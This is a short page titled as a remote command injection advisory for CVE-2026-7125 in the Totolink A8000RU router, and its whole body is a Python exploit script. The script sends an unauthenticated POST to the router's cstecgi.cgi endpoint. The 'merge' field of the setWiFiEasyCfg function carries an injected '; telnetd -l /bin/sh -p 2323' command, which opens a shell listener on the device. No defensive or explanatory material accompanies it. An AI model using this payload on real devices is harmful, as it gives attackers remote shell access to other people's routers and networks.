CVE-2026-7125 Totolink A8000RU 远程命令注入漏洞

import requests # Target configuration target_url = "http://TARGET_IP/cgi-bin/cstecgi.cgi" # Vulnerable payload for OS Command Injection # Using semicolon to chain a command (e.g., starting a telnet server) payload = "; telnetd -l /bin/sh -p 2323" # Data structure based on the vulnerable function 'setWiFiEasyCfg' data = { "function": "setWiFiEasyCfg", "merge": payload } # Send the malicious request # Note: No authentication is required based on the vulnerability description try: response = requests.post(target_url, data=data, timeout=5) if response.status_code == 200: print("[+] Exploit payload sent successfully.") print("[*] Check if telnet is available on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")